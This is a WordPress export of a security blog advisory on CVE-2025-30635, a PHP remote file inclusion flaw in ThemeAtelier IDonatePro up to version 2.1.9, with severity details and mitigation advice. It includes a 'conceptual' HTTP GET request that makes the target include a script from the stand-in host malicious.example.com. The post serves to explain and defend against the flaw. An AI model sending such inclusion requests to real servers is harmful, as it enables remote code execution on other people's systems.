{"id":64306,"date":"2025-08-25T07:21:23","date_gmt":"2025-08-25T07:21:23","guid":{"rendered":""},"modified":"2025-08-31T11:54:09","modified_gmt":"2025-08-31T17:54:09","slug":"cve-2025-30635-critical-php-remote-file-inclusion-vulnerability-in-themeatelier-idonatepro","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-30635-critical-php-remote-file-inclusion-vulnerability-in-themeatelier-idonatepro\/","title":{"rendered":"<strong>CVE-2025-30635: Critical PHP Remote File Inclusion Vulnerability in ThemeAtelier IDonatePro<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>We&#8217;ll be examining a critical vulnerability that has been identified in ThemeAtelier&#8217;s IDonatePro, designated as CVE-2025-30635. This flaw is due to an improper control of filename for an include\/require statement in PHP, more commonly known as a PHP Remote File Inclusion (RFI) vulnerability. It&#8217;s <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44955-critical-vulnerability-in-ruckus-network-director-allows-jail-users-to-gain-root-access\/\"  data-wpil-monitor-id=\"75988\">critical for users<\/a> and administrators of IDonatePro to understand the gravity of this issue as it poses a significant risk for system compromise or data leakage, particularly for versions up to 2.1.9.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-30635<br \/>\nSeverity: Critical (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27050-memory-corruption-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"74793\">Potential system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1924770781\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>ThemeAtelier IDonatePro | Up to 2.1.9<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52239-arbitrary-file-upload-vulnerability-in-zkeacms-v4-1\/\"  data-wpil-monitor-id=\"74545\">File Inclusion vulnerability<\/a> occurs when an application uses user-supplied input without properly sanitizing it, to construct a file name for operations like loading scripts. This lack of input filtering allows an attacker to craft input in a way that includes a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3128-critical-vulnerability-in-mitsubishi-electric-smartrtu-allowing-remote-code-execution\/\"  data-wpil-monitor-id=\"76204\">file<\/a> from a remote server that they control. The attacker&#8217;s <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54689-high-risk-php-remote-file-inclusion-vulnerability-in-urna\/\"  data-wpil-monitor-id=\"76588\">file can contain malicious PHP<\/a> code, which will be executed by the server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-294400695\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how an attacker might exploit this vulnerability. They would send a malicious HTTP request that includes a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74630\">remote file containing their malicious PHP code<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/malicious.example.com\/malicious_script.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker is exploiting the vulnerable &#8216;file&#8217; parameter in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42976-memory-corruption-and-information-disclosure-in-sap-netweaver-application-server-abap\/\"  data-wpil-monitor-id=\"74405\">application to include a file from their own server<\/a> (&#8216;malicious.example.com&#8217;) which contains a malicious PHP script (&#8216;malicious_script.php&#8217;).<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The most effective mitigation for this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation. These systems should be configured to detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8059-critical-privilege-escalation-vulnerability-in-b-blocks-wordpress-plugin\/\"  data-wpil-monitor-id=\"76328\">block attempts to exploit this vulnerability<\/a>, such as by blocking requests where the &#8216;file&#8217; parameter appears to be a URL.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview We&#8217;ll be examining a critical vulnerability that has been identified in ThemeAtelier&#8217;s IDonatePro, designated as CVE-2025-30635. This flaw is due to an improper control of filename for an include\/require statement in PHP, more commonly known as a PHP Remote File Inclusion (RFI) vulnerability. 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